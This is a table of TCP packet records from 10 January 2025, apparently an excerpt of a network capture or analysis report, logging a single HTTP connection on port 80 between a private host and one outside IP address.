Jan 10, 2025 19:37:26.972501040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.972515106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.972520113 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.972527981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.972542048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.972543955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.972579956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.974034071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974090099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974090099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.974118948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974138021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974149942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974165916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.974174976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974186897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974199057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.974200010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974235058 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.974381924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974395990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974407911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974436045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.974459887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:26.974479914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974490881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:26.974538088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.028485060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.028502941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.028516054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.028529882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.028740883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.062550068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062566042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062580109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062604904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062621117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062634945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062683105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.062722921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.062750101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062809944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062835932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062858105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.062932968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062944889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062958956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062973976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.062975883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.062999964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.063180923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063195944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063209057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063224077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063231945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.063239098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063254118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063255072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.063267946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063281059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063293934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063296080 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.063333035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.063353062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.063649893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063663006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063676119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063719034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.063802004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063817024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063829899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063842058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063851118 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.063884020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.063924074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063936949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063949108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063961983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063971043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.063973904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063988924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.063992023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.064004898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.064022064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.064029932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.064048052 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.077728987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.077742100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.077764988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.077778101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.077790022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.077832937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.077896118 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.077970028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.077985048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.077996969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078049898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.078085899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078099012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078111887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078139067 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.078170061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.078172922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078275919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078288078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078300953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078313112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078332901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.078332901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.078480005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078502893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078517914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078530073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.078531027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078547001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078558922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078573942 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.078603983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.078758001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078805923 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.078819990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078833103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078845978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.078881979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.079097033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079112053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079129934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079148054 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.079155922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079169035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079180002 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.079181910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079195976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079209089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079224110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079225063 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.079237938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079248905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.079251051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079257011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079262018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079288006 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.079344034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.079909086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079924107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079936981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079948902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079962969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079976082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079988956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.079988956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080003023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080014944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080025911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080029011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080043077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080048084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080085993 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080446005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080461979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080476046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080496073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080527067 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080589056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080601931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080615044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080626965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080641985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080661058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080667019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080674887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080688000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080692053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080699921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080713034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080724955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080739021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080751896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.080758095 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080791950 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.080822945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.081331015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081482887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081496000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081510067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081521988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081532001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.081537008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081551075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081553936 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.081564903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081579924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081593990 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.081594944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081608057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.081614971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.081656933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.082452059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.087359905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.152359009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152383089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152395010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152411938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152441978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152450085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.152455091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152482033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.152482033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.152502060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152515888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152529001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152540922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152580023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.152833939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152859926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152879000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152899027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.152903080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152915955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.152940989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153191090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153203011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153217077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153229952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153242111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153249025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153254032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153268099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153270960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153302908 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153316021 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153500080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153517962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153551102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153563976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153598070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153640985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153654099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153665066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153683901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153696060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153697968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153712988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153723955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153731108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153753996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153765917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153770924 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153770924 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153780937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153793097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.153806925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.153827906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.154310942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.154359102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.154382944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.154395103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.154416084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.154417992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.154428005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.154433012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.154445887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.154509068 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.158993959 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.167604923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.167686939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.167752028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.167764902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.167807102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.167813063 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.167819023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.167830944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.167843103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.167855978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.167865992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.167886972 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168083906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168097973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168111086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168123007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168133020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168135881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168149948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168154955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168163061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168186903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168210983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168325901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168339968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168350935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168364048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168376923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168380976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168411016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168601036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168612957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168626070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168637991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168644905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168648005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168656111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168669939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168674946 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168718100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168718100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.168927908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168942928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.168986082 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.169018030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.169090986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169104099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169116020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169127941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169138908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169147015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.169152975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169164896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169168949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.169182062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169193983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169205904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169212103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.169219017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169234037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169238091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.169245958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169258118 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.169286966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.169727087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169774055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.169905901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169923067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169934988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169945955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169955969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169967890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169970036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.169981003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.169994116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.170000076 CET	49711	80	192.168.2.6	193.143.1.205
